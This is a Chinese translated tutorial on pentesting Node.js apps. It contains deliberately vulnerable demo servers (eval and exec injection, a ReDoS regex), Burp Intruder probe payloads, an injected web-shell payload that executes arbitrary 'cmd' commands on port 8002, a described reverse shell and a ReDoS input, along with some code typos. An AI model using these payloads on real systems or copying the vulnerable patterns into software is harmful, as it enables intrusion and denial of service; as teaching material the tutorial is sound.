PentestingNode.js Application : Nodejs Application Security
由prison翻译整理,首发i春秋。
由于原文地址在墙外,所以做下简介:本篇文章较为详细的讲述了通过node.js的已知漏洞来完成渗透测试的过程,介绍了node.js存在的漏洞可以在多种工具下的不同利用方式。因为我认为会对论坛部分web安全新手有所帮助,所以整理到论坛中。难度系数:三颗星。
$ mkdir nodeapp $ cd nodeapp
用npm init 命令为你的项目创建一个package.json文件。
$npm install expres –save
你也可以选择临时安装express,而不将它添加到依赖项列表中。
$npm install express
Eval()函数很危险
示例1:
var x = 2; var y = 2; var z = '10''; eval('x + y + 6'); // returns 10 eval(z); // returns 10 Both eval() will return value 10.
示例2:
ar express = require('express');[/align]var app = express(); app.get('/', function(req, res) { var resp=eval("("+req.query.input+")"); res.send('Output'+resp); }); app.listen(8001);
[codeexe.js]
node filename.js node codexe.js
如果你启动时看到一些错误,可能是其他正在运行的服务占用了端口,所以首先我们要用ps命令找到这些服务。
kill掉pid为2959的codexe.js
我们接着启动js代码
首先,我们将一个简单的用户输入传递给我们代码中的输入参数:
我们用一些关于Node.js代码执行的payload
process.arch process.argv process.argv0 process.channel process.cwd() process.geteuid() process.getegid() process.getgroups() process.pid process.platform process.version
丢到Burp的Intruder:
导入我们的payload
从爆破结果来看,我们可以发现其中一个叫做process.cwd()返回了当前目录值"/Users/narendrabhati/Node JS Pentesting”
下面的payload将会启动一个新的服务器,或者在八秒后你可以在8002端口上找到一个新的node.js应用。让我们搞点花样出来:
setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8002); }, 8000)
反向连接Reverse Shell
我的kali在等待连接4444端口:
我通过nodejsshell.py在这个项目中注入代码:
然后我的kali得到了一个反向shell
2)远程操作系统命令执行
var http = require("http"); var url = require("url"); var exe = require('child_process'); http.createServer(function(request, response) { var parsedUrl = url.parse(request.url, true); response.writeHead(200, {"Content-Type": "text/html"}); exe.exec('ping -c 4 ' + parsedUrl.query.inject, function (err,data) { response.write("RCE-DEMO " + data); }); }).listen(8005);
3) RegExp DOS 漏洞
[ nodejsregexp.js]
var http = require("http"); var url = require("url"); http.createServer(function(request, response) { starttime = process.hrtime(); var emailExpression = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/; var parsedUrl = url.parse(request.url, true); response.writeHead(200, {"Content-Type": "text/html"}); response.write("Email Validation : "+emailExpression.test( parsedUrl.query.email )); response.write("Server Response Time: " + process.hrtime(starttime)); response.end(); }).listen(8006);
在输入var emailExpression= /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;之后,容易受到DOS攻击,攻击者可以将大量的输入传递给应用程序。导致服务/应用程序不可用。
http://127.0.0.1:8006/?email=narealshdlhasldhlashkldhalshdlkahslkdhklashldhalkshdklahskldhklashkldhaklshdklhalshdlahslhdhasklkhdlkahdndra.bhagdkjgkasgkdgakjsgdjkgaskgdjkagskdgjkasgjkdgjasgdgjkasgjdgjaksgjkdgjaksgkdgjaksjkgdgjaksjgkdgajksgdjkagjskdgjkajsgkdgjkasjgkdadati@websasdasdaksdgakjsgdkgajksgdjkagsjkdgajkgdjkagksdgjkasgjkdgjasjkdjkagjkdgagkasjdadecgeeks.caskdhahldkhalkshdklahsldhklashdlhaklshdlahsldhlkahsdhlashdhaklshdhaklshdklahslhdkahsdhkahsldhaskhldhalshdhlashdasdom%%%%
这样大量的输入将会导致应用程序大量消耗服务器资源。
4 ) Brute Force/Rate LimitProtection
npm i nsp –g nsp check module-name-to-audited[检查是否有漏洞]
或者是
nsp module-name-to-audite.json